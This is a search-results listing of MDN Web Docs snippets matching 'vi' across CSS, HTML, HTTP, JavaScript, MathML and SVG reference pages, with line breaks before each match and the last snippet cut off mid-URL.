in the first above example, the width will be at most 200px, but will be smaller if the
viewport is less than 400px wide (in which case 1vw would be 4px, so 50vw would be 200px).
...think of the min() value as pro
viding the maximum value a property can have.
... notes math expressions invol
ving percentages for widths and heights on table columns, table column groups, table rows, table row groups, and table cells in both auto and fixed layout tables may be treated as if auto had been specified.
...And 3 more matches
order - CSS: Cascading Style Sheets
syntax /* <integer> values */ order: 5; order: -5; /* global values */ order: inherit; order: initial; order: unset; since order is only meant to affect the
visual order of elements and not their logical or tab order.
... order must not be used on non-
visual media such as speech.
... accessibility concerns using the order property will create a disconnect between the
visual presentation of content and dom order.
...And 3 more matches
outline-color - CSS: Cascading Style Sheets
invert to ensure the outline is
visible, performs a color inversion of the background.
...if the color of the outline is adjusted, it is important to ensure that the contrast ratio between it and the background the outline is placed over is high enough that people experiencing low
vision conditions will be able to perceive it.
... css level 2 (re
vision 1)the definition of 'outline-color' in that specification.
...And 3 more matches
Guide to scroll anchoring - CSS: Cascading Style Sheets
scroll anchoring adjusts the scroll position to compensate for the changes outside of the
viewport.
... this means that the point in the document the user is looking at remains in the
viewport, which may mean their scroll position actually changes in terms of how far they have moved through the document.
... if your page is not beha
ving well with scroll anchoring enabled, it is probably because some scroll event listener is not handling well the extra scrolling to compensate for the anchor node movement.
...And 3 more matches
scrollbar-width - CSS: Cascading Style Sheets
thin a thin scrollbar width variant on platforms that pro
vide that option, or a thinner scrollbar than the default platform scrollbar width.
... note: user agents must apply any scrollbar-width value set on the root element to the
viewport.
... accessibility concerns use this property with caution — setting scrollbar-width to thin or none can make content hard or impossible to scroll if the author does not pro
vide an alternative scrolling mechanism.
...And 3 more matches
text-size-adjust - CSS: Cascading Style Sheets
/* keyword values */ text-size-adjust: none; text-size-adjust: auto; /* <percentage> value */ text-size-adjust: 80%; /* global values */ text-size-adjust: inherit; text-size-adjust: initial; text-size-adjust: unset; because many websites have not been developed with small de
vices in mind, mobile browsers differ from desktop browsers in the way they render web pages.
... instead of laying out pages at the width of the de
vice screen, they lay them out using a
viewport that is much wider, usually 800 or 1000 pixels.
... to map the extra-wide layout back to the original de
vice size, they either show only part of the whole render or scale the
viewport down to fit.
...And 3 more matches
touch-action - CSS: Cascading Style Sheets
by explicitly specifying which gestures should be handled by the browser, an application can supply its own beha
vior in pointermove and pointerup listeners for the remaining gestures.
...this means that in practice, touch-action is typically applied only to top-level elements which have some custom beha
vior, without needing to specify touch-action explicitly on any of that element's descendants.
... after a gesture starts, changes to touch-action will not have any impact on the beha
vior of the current gesture.
...And 3 more matches
Getting Started - Developer guides
ajax’s most appealing characteristic is its "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without ha
ving to refresh the page.
...alternatively, instead of gi
ving a function name, you can use the javascript technique of defining functions on the fly (called "anonymous functions") to define the actions that will process the response, like this: httprequest.onreadystatechange = function(){ // process the server response here.
...for example, use the following before calling send() for form data sent as a query string: httprequest.setrequestheader('content-type', 'application/x-www-form-urlencoded'); step 2 – handling the server response when you sent the request, you pro
vided the name of a javascript function to handle the response: httprequest.onreadystatechange = nameofthefunction; what should this function do?
...And 3 more matches
Block formatting context - Developer guides
a block formatting context is a part of a
visual css rendering of a web page.
... block elements where overflow has a value other than
visible.
... using overflow: auto setting overflow: auto or set other values than the initial value of overflow:
visible created a new bfc containing the float.
...And 3 more matches
Introduction to Web development - Developer guides
crockford on javascript — an in-depth
video series on the javascript language.
... christian heilmann's javascript best practices — learn about some of the ob
vious and (not so) ob
vious best practices when writing javascript.
... advanced learning advanced javascript — john resig's guide to advanced javascript crockford on advanced javascript — a three part
video series on advanced javascript concepts javascript garden — documentation of the most quirky parts of javascript.
...And 3 more matches
Mobile-friendliness - Developer guides
it can be helpful to think of it in terms of three goals for impro
ving your site’s user experience: presentation, content, and performance.
... goal #1 (presentation) “make websites that work well on a variety of screen sizes.” these days, users can access the web on de
vices in a wide range of form factors, including phones, tablets, and ereaders.
...that’s why this first goal is all about presenting your content in a way that makes life easy for users on mobile de
vice.
...And 3 more matches
HTML attribute: step - HTML: Hypertext Markup Language
the step sets the stepping interval when clicking up and down spinner buttons, mo
ving a slider left and right on a range, and validating the different date types.
... specifications specification status comment html li
ving standardthe definition of 'step attribute' in that specification.
... li
ving standard html5the definition of 'step attribute' in that specification.
...And 3 more matches
Date and time formats used in HTML - HTML: Hypertext Markup Language
it's worth re
viewing the descriptions of the formats you're using in order to ensure that your strings are in fact compatible with html, as the html specification includes algorithms for parsing these strings that is actually more precise than iso 8601, so there can be subtle differences in how date and time strings are expected to look.
... leap years a leap year is any year which is di
visible by 400 or the year is di
visible by 4 but not by 100.
... the adjustments to the algorithm (taking a leap year when the year can be di
vided by 400, and skipping leap years when the year is di
visible by 100) help to bring the average even closer to the correct number of days (365.2425 days).
...And 3 more matches
<address>: The Contact Address element - HTML: Hypertext Markup Language
the html <address> element indicates that the enclosed html pro
vides contact information for a person or people, or for an organization.
... the contact information pro
vided by an <address> element's contents can take whatever form is appropriate for the context, and may include any type of contact information that is needed, such as a physical address, url, email address, phone number, social media handle, geographic coordinates, and so forth.
... <address> can be used in a variety of contexts, such as pro
viding a business's contact information in the page header, or indicating the author of an article by including an <address> element within the <article>.
...And 3 more matches
<area> - HTML: Hypertext Markup Language
"no-referrer-when-downgrade" meaning that no referer: header will be sent when na
vigating to an origin without tls (https).
... this is a user agent’s default beha
vior, if no policy is otherwise specified.
... "origin-when-cross-origin" meaning that na
vigations to other origins will be limited to the scheme, the host and the port, while na
vigations on the same origin will include the referrer's path.
...And 3 more matches
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
usage notes alternative content you may (and should) pro
vide alternate content inside the <canvas> block.
...pro
viding a useful fallback text or sub dom helps to make the the canvas more accessible.
...a fallback text is pro
vided if a browser is unable to render the canvas, or if can't read a canvas.
...And 3 more matches
<col> - HTML: Hypertext Markup Language
note: to achieve the same effect as the left, center, right or justify values: do not try to set the text-align property on a selector gi
ving a <col> element.
... if the table does use a colspan attribute, the effect can be achieved by combining adequate css attribute selectors like [colspan=n], though this is not tri
vial.
... note: do not try to set the vertical-align property on a selector gi
ving a <col> element.
...And 3 more matches
<colgroup> - HTML: Hypertext Markup Language
note: do not try to set the text-align property on a selector gi
ving a <colgroup> element.
... if the table does use a colspan attribute, the effect can be achieved by combining adequate css attribute selectors like [colspan=n], though this is not tri
vial.
... note: do not try to set the vertical-align property on a selector gi
ving a <colgroup> element.
...And 3 more matches
<label> - HTML: Hypertext Markup Language
associating a <label> with an <input> element offers some major advantages: the label text is not only
visually associated with its corresponding text input; it is programmatically associated with it too.
...this increased hit area pro
vides an advantage to anyone trying to activate the input, including those using a touch-screen de
vice.
...l">terms and conditions</a> </label> do <label for="tac"> <input id="tac" type="checkbox" name="terms-and-conditions"> i agree to the terms and conditions </label> <p> <a href="terms-and-conditions.html">read our terms and conditions</a> </p> headings placing heading elements within a <label> interferes with many kinds of assistive technology, because headings are commonly used as a na
vigation aid.
...And 3 more matches
<menuitem> - HTML: Hypertext Markup Language
a command can either be defined explicitly, with a textual label and optional icon to describe its appearance, or alternatively as an indirect command whose beha
vior is defined by a separate element.
...(if specified, the type attribute of the <menu> element must be popup; if missing, the parent element of the <menu> must itself be a <menu> in the popup menu state.) permitted aria roles none dom interface htmlmenuitemelement attributes this element includes the global attributes; in particular title can be used to describe the command, or pro
vide usage hints.
... icon image url, used to pro
vide a picture to represent the command.
...And 3 more matches
<title>: The Document Title element - HTML: Hypertext Markup Language
note that lea
ving off </title> should cause the browser to ignore the rest of the page.
... accessibility concerns it is important to pro
vide a title value that describes the page's purpose.
... a common na
vigation technique for users of assistive technology is to read the page title and infer the content the page contains.
...And 3 more matches
autocapitalize - HTML: Hypertext Markup Language
o autocapitalization is applied (all letters default to lowercase) on or sentences: the first letter of each sentence defaults to a capital letter; all other letters default to lowercase words: the first letter of each word defaults to a capital letter; all other letters default to lowercase characters: all letters should default to uppercase the autocapitalize attribute doesn’t affect beha
vior when typing on a physical keyboard.
... instead, it affects the beha
vior of other input mechanisms, such as
virtual keyboards on mobile de
vices and voice input.
... the beha
vior of such mechanisms is that they often assist users by automatically capitalizing the first letter of sentences.
...And 3 more matches
data-* - HTML: Hypertext Markup Language
all such custom data are available
via the htmlelement interface of the element the attribute is set on.
... note that the htmlelement.dataset property is a domstringmap, and the name of the custom data attribute data-test-value will be accessible
via htmlelement.dataset.testvalue (or by htmlelement.dataset["testvalue"]) as any dash (u+002d) is replaced by the capitalization of the next letter, converting the name to camelcase.
... specifications specification status comment html li
ving standardthe definition of 'data-*' in that specification.
...And 3 more matches
x-ms-acceleratorkey - HTML: Hypertext Markup Language
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the x-ms-acceleratorkey attribute accessibly declares that an accelerator key has been assigned to an element: the element is activated
via javascript when the key(s) are pressed on a keyboard.
...this attribute does not pro
vide the accelerator key beha
vior.
...And 3 more matches
Choosing between www and non-www URLs - HTTP
this page pro
vides some ad
vice on what's best.
...but even so, you can still have the other domain working: http allows two techniques so that it is clear for your users, or search engines, which domain is the canonical one, while still allowing the non-canonical domain to work and pro
vide the expected pages.
... using http 301 redirects in this case, you need to configure the server recei
ving the http requests (which is most likely the same for www and non-www urls) to respond with an adequate http 301 response to any request to the non-canonical domain.
...And 3 more matches
Common MIME types - HTTP
browsers pay a particular care when manipulating these files, attempting to safeguard the user to prevent dangerous beha
viors.
...this table lists some important mime types for the web: extension kind of document mime type .aac aac audio audio/aac .abw abiword document application/x-abiword .arc archive document (multiple files embedded) application/x-freearc .a
vi a
vi: audio
video interleave
video/x-ms
video .azw amazon kindle ebook format application/vnd.amazon.ebook .bin any kind of binary data application/octet-stream .bmp windows os/2 bitmap graphics image/bmp .bz bzip archive application/x-bzip .bz2 bzip2 archive application/x-bzip2 .csh c-shell script appli...
...soft.icon .ics icalendar format text/calendar .jar java archive (jar) application/java-archive .jpeg .jpg jpeg images image/jpeg .js javascript text/javascript, per the following specifications: https://html.spec.whatwg.org/multipage/#scriptinglanguages https://html.spec.whatwg.org/multipage/#dependencies:willful-
violation https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ .json json format application/json .jsonld json-ld format application/ld+json .mid .midi musical instrument digital interface (midi) audio/midi audio/x-midi .mjs javascript module text/javascript .mp3 mp3 audio audio/mpeg ...
...And 3 more matches
CORS errors - HTTP
for example, if a site offers an embeddable ser
vice, it may be necessary to relax certain restrictions.
... if the cors configuration isn't setup correctly, the browser console will present an error like "cross-origin request blocked: the same origin policy disallows reading the remote resource at $somesite" indicating that the request was blocked due to
violating the cors security rules.
...it's possible that the request is in fact intentionally being disallowed by the user's web application and remote external ser
vice.
...And 3 more matches
List of default Accept values - HTTP
this is typically used for requests initiated
via the address bar of a browser, or
via an html <a> element.
...source safari */* chrome image/webp,image/apng,image/*,*/*;q=0.8 source internet explorer 8 or earlier */* see ie and the accept header (ieinternals' msdn blog) internet explorer 9 image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5 see fiddler is better with internet explorer 9 (ieinternals' msdn blog) values for a
video when a
video is requested,
via the <
video> html element, most browsers use specific values.
... user agent value comment firefox earlier than 3.6 no support for <
video> firefox 3.6 and later
video/webm,
video/ogg,
video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5 see bug 489071 source chrome */* source internet explorer 8 or earlier no support for <
video> values for audio resources when an audio file is requested, like
via the <audio> html element, most browsers use specific values.
...And 3 more matches
Alt-Svc - HTTP
the alt-svc http response header is used to advertise alternative ser
vices through which the same resource can be reached.
... an alternative ser
vice is defined by a protocol/host/port combination.
... ma=<max-age>optional the number of seconds for which the alternative ser
vice is considered fresh.
...And 3 more matches
CSP: report-uri - HTTP
the deprecated http content-security-policy (csp) report-uri directive instructs the user agent to report attempts to
violate the content security policy.
... these
violation reports consist of json documents sent
via an http post request to the specified uri.
... content-security-policy: default-src https:; report-uri /csp-
violation-report-endpoint/ /csp-
violation-report-endpoint/ could for example run a php something like the following that logs the json detailing the
violation and, if the
violation is the first one added to the log file, sends an email to an administrator: <?php // start configure $log_file = dirname(__file__) .
...And 3 more matches
Referrer-Policy - HTTP
the referrer-policy http header controls how much referrer information (sent
via the referer header) should be included with requests.
... no-referrer-when-downgrade (default) this is the default beha
vior if no policy is specified, or if the pro
vided value is invalid.
... there is effort from browsers in mo
ving to a stricter default value, namely strict-origin-when-cross-origin (see https://github.com/whatwg/fetch/pull/952), consider using this value (or a stricter one), if possible, when changing the referrer-policy.
...And 3 more matches
JavaScript data types and data structures - JavaScript
special primitive type ha
ving additional usage for its value: if object is not inherited, then null is shown; object : typeof instance === "object".
...however, you are able to notice this when you di
vide by zero: > 42 / +0 infinity > 42 / -0 -infinity although a number often represents only its value, javascript pro
vides binary (bitwise) operators.
... it may be necessary to use such techniques in very constrained en
vironments, like when trying to cope with the limitations of local storage, or in extreme cases (such as when each bit over the network counts).
...And 3 more matches
Concurrency model and the event loop - JavaScript
modern javascript engines implement and hea
vily optimize the described semantics.
...
visual representation stack function calls form a stack of frames.
...when foo returns, the top frame element is popped out of the stack (lea
ving only bar's call frame).
...And 3 more matches
Text formatting - JavaScript
« pre
viousnext » this chapter introduces how to work with strings and text in javascript.
... you should use string literals unless you specifically need to use a string object, because string objects can have counterintuitive beha
vior.
...you can't change indi
vidual characters because strings are immutable array-like objects: const hello = 'hello, world!'; const hellolength = hello.length; hello[0] = 'l'; // this has no effect, because strings are immutable hello[0]; // this returns "h" characters whose unicode scalar values are greater than u+ffff (such as some rare chinese/japanese/korean/
vietnamese characters and some emoji) are stored in utf-16 wi...
...And 3 more matches
Using Promises - JavaScript
« pre
viousnext » a promise is an object representing the eventual completion or failure of an asynchronous operation.
... chaining a common need is to execute two or more asynchronous operations back to back, where each subsequent operation starts when the pre
vious operation succeeds, with the result from the pre
vious step.
...you might see this expressed with arrow functions instead: dosomething() .then(result => dosomethingelse(result)) .then(newresult => dothirdthing(newresult)) .then(finalresult => { console.log(`got the final result: ${finalresult}`); }) .catch(failurecallback); important: always return results, otherwise callbacks won't catch the result of a pre
vious promise (with arrow functions () => x is short for () => { return x; }).
...And 3 more matches
Inheritance and the prototype chain - JavaScript
javascript is a bit confusing for developers experienced in class-based languages (like java or c++), as it is dynamic and does not pro
vide a class implementation per se (the class keyword is introduced in es2015, but is syntactical sugar, javascript remains prototype-based).
...it is, for example, fairly tri
vial to build a classic model on top of a prototypal model.
...// the prototype also has a 'b' property, but it's not
visited.
...And 3 more matches
Arrow function expressions - JavaScript
two factors influenced the introduction of arrow functions: the need for shorter functions and the beha
vior of the this keyword.
....length; }); // [8, 6, 7, 9] // when the only statement in an arrow function is `return`, we can remove `return` and remove // the surrounding curly brackets elements.map(element => element.length); // [8, 6, 7, 9] // in this case, because we only need the length property, we can use destructuring parameter: // notice that the `length` corresponds to the property we want to get whereas the // ob
viously non-special `lengthfoobarx` is just the name of a variable which can be changed // to any valid variable name you want elements.map(({ length: lengthfoobarx }) => lengthfoobarx); // [8, 6, 7, 9] // this destructuring parameter assignment can also be written as seen below.
... correction: start note: the pre
vious statement seems false.
...And 3 more matches
Array.prototype.filter() - JavaScript
the filter() method creates a new array with all elements that pass the test implemented by the pro
vided function.
... description filter() calls a pro
vided callback function once for each element in an array, and constructs a new array of all the values for which callback returns a value that coerces to true.
... callback is invoked with three arguments: the value of the element the index of the element the array object being traversed if a thisarg parameter is pro
vided to filter, it will be used as the callback's this value.
...And 3 more matches
Array.prototype.some() - JavaScript
the some() method tests whether at least one element in the array passes the test implemented by the pro
vided function.
... if a thisarg parameter is pro
vided to some(), it will be used as the callback's this value.
...elements appended to the array after the call to some() begins will not be
visited by callback.
...And 3 more matches
Atomics - JavaScript
the atomics object pro
vides atomic operations as static methods.
... wait and notify the wait() and notify() methods are modeled on linux futexes ("fast user-space mutex") and pro
vide ways for waiting until a certain condition becomes true and are typically used as blocking constructs.
... static methods atomics.add() adds the pro
vided value to the existing value at the specified index of the array.
...And 3 more matches
Int8Array - JavaScript
int8array.prototype.every() tests whether all elements in the array pass the test pro
vided by a function.
... int8array.prototype.filter() creates a new array with all of the elements of this array for which the pro
vided filtering function returns true.
... int8array.prototype.find() returns the found value in the array, if an element in the array satisfies the pro
vided testing function or undefined if not found.
...And 3 more matches
Map.prototype.forEach() - JavaScript
the foreach() method executes a pro
vided function once per each key/value pair in the map object, in insertion order.
... description the foreach method executes the pro
vided callback once for each key of the map which actually exist.
... callback is invoked with three arguments: the entry's value the entry's key the map object being traversed if a thisarg parameter is pro
vided to foreach, it will be passed to callback when invoked, for use as its this value.
...And 3 more matches
Promise.prototype.then() - JavaScript
if one or both arguments are omitted or are pro
vided non-functions, then then will be missing the handler(s), but will not generate any errors.
...the beha
vior of the handler function follows a specific set of rules.
...print helpful messages about how the code in this section will be run // before the string is actually processed by the mocked asynchronous code in the // pre
vious then block.
...And 3 more matches
Promise - JavaScript
to learn about the way promises work and how you can use them, we ad
vise you to read using promises first.
... instance methods promise.prototype.catch() appends a rejection handler callback to the promise, and returns a new promise resol
ving to the return value of the callback if it is called, or to its original fulfillment value if the promise is instead fulfilled.
... promise.prototype.then() appends fulfillment and rejection handlers to the promise, and returns a new promise resol
ving to the return value of the called handler, or to its original settled value if the promise was not handled (i.e.
...And 3 more matches
Set.prototype.forEach() - JavaScript
the foreach() method executes a pro
vided function once for each value in the set object, in insertion order.
... description the foreach() method executes the pro
vided callback once for each value which actually exists in the set object.
... if a thisarg parameter is pro
vided to foreach(), it will be passed to callback when invoked, for use as its this value.
...And 3 more matches
TypedArray.prototype.filter() - JavaScript
the filter() method creates a new typed array with all elements that pass the test implemented by the pro
vided function.
... description the filter() method calls a pro
vided callback function once for each element in a typed array, and constructs a new typed array of all the values for which callback returns a true value.
... callback is invoked with three arguments: the value of the element the index of the element the typed array object being traversed if a thisarg parameter is pro
vided to filter, it will be passed to callback when invoked, for use as its this value.
...And 3 more matches
Uint8Array - JavaScript
uint8array.prototype.every() tests whether all elements in the array pass the test pro
vided by a function.
... uint8array.prototype.filter() creates a new array with all of the elements of this array for which the pro
vided filtering function returns true.
... uint8array.prototype.find() returns the found value in the array, if an element in the array satisfies the pro
vided testing function or undefined if not found.
...And 3 more matches
Uint8ClampedArray - JavaScript
uint8clampedarray.prototype.every() tests whether all elements in the array pass the test pro
vided by a function.
... uint8clampedarray.prototype.filter() creates a new array with all of the elements of this array for which the pro
vided filtering function returns true.
... uint8clampedarray.prototype.find() returns the found value in the array, if an element in the array satisfies the pro
vided testing function or undefined if not found.
...And 3 more matches
WebAssembly.Memory - JavaScript
the following example (see memory.html on github, and
view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmemorychrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox...
... 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
...And 3 more matches
Nullish coalescing operator (??) - JavaScript
in other words, if you use || to pro
vide some default value to another variable foo, you may encounter unexpected beha
viors if you consider some falsy values as usable (eg.
...rightexpr examples using the nullish coalescing operator in this example, we will pro
vide default values but keep values other than null or undefined.
...this beha
vior may cause unexpected consequences if you consider 0, '', or nan as valid values.
...And 3 more matches
export - JavaScript
syntax there are two types of exports: named exports (zero or more exports per module) default exports (one per module) // exporting indi
vidual features export let name1, name2, …, namen; // also var, const export let name1 = …, name2 = …, …, namen; // also var, const export function functionname(){...} export class classname {...} // export list export { name1, name2, …, namen }; // renaming exports export { variable1 as name1, variable2 as name2, …, namen }; // exporting destructured assignments with renaming export ...
... // also class, function* export { name1 as default, … }; // aggregating modules export * from …; // does not set the default export export * as name1 from …; // draft ecmascript® 2o21 export { name1, name2, …, namen } from …; export { import1 as name1, import2 as name2, …, namen } from …; export { default } from …; namen identifier to be exported (so that it can be imported
via import in another script).
...each type corresponds to one of the above syntax: named exports: // export features declared earlier export { myfunction, myvariable }; // export indi
vidual features (can export var, let, // const, function, class) export let myvariable = math.sqrt(2); export function myfunction() { ...
...And 3 more matches
for...in - JavaScript
if a property is modified in one iteration and then
visited at a later time, its value in the loop is its value at that later time.
... a property that is deleted before it has been
visited will not be
visited later.
... properties added to the object over which iteration is occurring may either be
visited or omitted from iteration.
...And 3 more matches
<mtable> - MathML
attributes align specifies the vertical alignment of the table with respect to its en
vironment.
... possible values are: axis (default): the vertical center of the table aligns on the en
vironment's axis (typically the minus sign).
... baseline: the vertical center of the table aligns on the en
vironment's baseline.
...And 3 more matches
Using images in HTML - Web media technologies
<picture> the html <picture> element contains zero or more <source> elements and one <img> element which pro
vides versions of an image for different display/de
vice scenarios.
... css object-fit the object-fit css property sets how the content of a replaced element, such as an <img> or <
video>, should be resized to fit its container.
... guides these articles pro
vide guidance on selecting and configuring image types.
...And 3 more matches
dx - SVG: Scalable Vector Graphics
seven elements are using this attribute: <altglyph>, <fedropshadow>, <feoffset>, <glyphref>, <text>, <tref>, and <tspan> html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="0" x2="100%" y1="50%" y2="50%" /> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="60%" x2="60%" y1="0" y2="100%" /> <!-- some reference text --> <text x="10%" y="50%" fill="grey">svg</text> <!-- the same text with a shift along the x-axis --> <text dx="50%" x="10%" y="50%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: as...
... if there are multiple values, dx defines a shift along the x-axis for each indi
vidual glyph relative to the preceding glyph.
... if there are multiple values, dx defines a shift along the x-axis for each indi
vidual glyph relative to the preceding glyph.
...And 3 more matches
dy - SVG: Scalable Vector Graphics
seven elements utilize this attribute: <altglyph>, <fedropshadow>, <feoffset>, <glyphref>, <text>, <tref>, and <tspan> html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="0" x2="100%" y1="30%" y2="30%" /> <line x1="0" x2="100%" y1="80%" y2="80%" /> <!-- some reference text --> <text x="10%" y="30%" fill="grey">svg</text> <!-- the same text with a shift along the y-axis --> <text dy="50%" x="10%" y="30%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: ...
... if there are multiple values, dy defines a shift along the y-axis for each indi
vidual glyph relative to the preceding glyph.
... if there are multiple values, dy defines a shift along the y-axis for each indi
vidual glyph relative to the preceding glyph.
...And 3 more matches
href - SVG: Scalable Vector Graphics
fifteen elements are using this attribute: <a>, <animate>, <animatemotion>, <animatetransform>, <discard>, <feimage>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg
viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a url reference.
... if the href attribute or the deprecated xlink:href attribute is not pro
vided, then the target element will be the immediate parent element of the current animation element.
... refer to the descriptions of the indi
vidual animation elements for any restrictions on what types of elements can be targets of particular types of animations.
...And 3 more matches
overflow - SVG: Scalable Vector Graphics
it has the same parameter values and meaning as the css overflow property, however, the following additional points apply: if it has a value of
visible, the attribute has no effect (i.e., a clipping rectangle is not created).
... if the overflow property has the value hidden or scroll, a clip of the exact size of the svg
viewport is applied.
... when scroll is specified on an <svg> element, a scrollbar or panner is normally shown for the svg
viewport whether or not any of its content is clipped.
...And 3 more matches
stroke-linecap - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <path>, <polyline>, <line>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg
viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the (default) "butt" value --> <line x1="1" y1="1" x2="5" y2="1" stroke="black" stroke-linecap="butt" /> <!-- effect of the "round" value --> <line x1="1" y1="3" x2="5" y2="3" stroke="black" stroke-linecap="round" /> <!-- effect of the "square" value --> <line x1="1" y1="5" x2="5" y2="5" stroke="bla...
... example html,body,svg { height:100% } <svg
viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "butt" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="butt" /> <!-- effect of the "butt" value on a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="butt" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1...
... example html,body,svg { height:100% } <svg
viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "round" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="round" /> <!-- effect of the "round" value on a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="round" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="...
...And 3 more matches
<a> - SVG: Scalable Vector Graphics
@namespace svg url(http://www.w3.org/2000/svg); html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- a link around a shape --> <a href="/docs/web/svg/element/circle"> <circle cx="50" cy="40" r="35"/> </a> <!-- a link around a text --> <a href="/docs/web/svg/element/text"> <text x="50" y="90" text-anchor="middle"> <circle> </text> </a> </svg> /* as svg does not pro
vide a default
visual style for links, it's con...
... see warning below */ svg|a:link, svg|a:
visited { cursor: pointer; } svg|a text, text svg|a { fill: blue; /* even for text, svg uses fill over color */ text-decoration: underline; } svg|a:hover, svg|a:active { outline: dotted 1px blue; } since this element shares its tag name with html's <a> element, selecting a with css or queryselector may apply to the wrong kind of element.
... attributes download instructs browsers to download a url instead of na
vigating to it, so the user will be prompted to save it as a local file.
...And 3 more matches
<animate> - SVG: Scalable Vector Graphics
the svg <animate> element pro
vides a way to animate an attribute of an element over time.
... html,body,svg { height:100%; margin:0; padding:0; } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <rect width="10" height="10"> <animate attributename="rx" values="0;5;0" dur="10s" repeatcount="indefinite" /> </rect> </svg> attributes animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes th...
... accessibility concerns blinking and flashing animation can be problematic for people with cognitive concerns such as attention deficit hyperacti
vity disorder (adhd).
...And 3 more matches
<marker> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <!-- arrowhead marker definition --> <marker id="arrow"
viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <!-- simple dot marker definition --> <marker id="dot"
viewbox="0 0 10 10" refx="5" refy="5" markerwidth="5" markerheight="5"> <circle cx="5" cy="5" r="5" fill="red" /> </marker> ...
...points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <!-- data line with polymarkers --> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dot)" marker-mid="url(#dot)" marker-end="url(#dot)" /> </svg> attributes markerheight this attribute defines the height of the marker
viewport.
... value type: userspaceonuse|strokewidth ; default value: strokewidth; animatable: yes markerwidth this attribute defines the width of the marker
viewport.
...And 3 more matches
<text> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 240 80" xmlns="http://www.w3.org/2000/svg"> <style> .small { font: italic 13px sans-serif; } .heavy { font: bold 30px sans-serif; } /* note that the color of the text is set with the * * fill property, the color property is for html only */ .rrrrr { font: italic 40px serif; fill: red; } </style> <text x="20" y="35" class="small">my</text> <text x="40" y...
... value type: <length>|<percentage> ; default value: 0; animatable: yes dx shifts the text position horizontally from a pre
vious text element.
... value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts the text position vertically from a pre
vious text element.
...And 3 more matches
<tspan> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 240 40" xmlns="http://www.w3.org/2000/svg"> <style> text { font: italic 12px serif; } tspan { font: bold 10px sans-serif; fill: red; } </style> <text x="10" y="30" class="small"> you are <tspan>not</tspan> a banana!
... value type: <length>|<percentage> ; default value: none; animatable: yes dx shifts the text position horizontally from a pre
vious text element.
... value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts the text position vertically from a pre
vious text element.
...And 3 more matches
Clipping and masking - SVG: Scalable Vector Graphics
« pre
viousnext » erasing part of what one has created might at first sight look contradictory.
... clipping refers to remo
ving parts of elements defined by other parts.
...since the rectangle covers only the upper half of the circle, the lower half of the circle will vanish: screenshotlive sample we now have a semicircle without ha
ving to deal with arcs in path elements.
...And 3 more matches
Other content in SVG - SVG: Scalable Vector Graphics
« pre
viousnext » apart from graphic primitives like rectangles and circles, svg offers a set of elements to embed other types of content in images as well.
...this means, that you can use clips, masks, filters, rotations and all other tools of svg on the content: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <image x="90" y="-65" width="128" height="146" transform="rotate(45)" xlink:href="https://developer.mozilla.org/static/img/fa
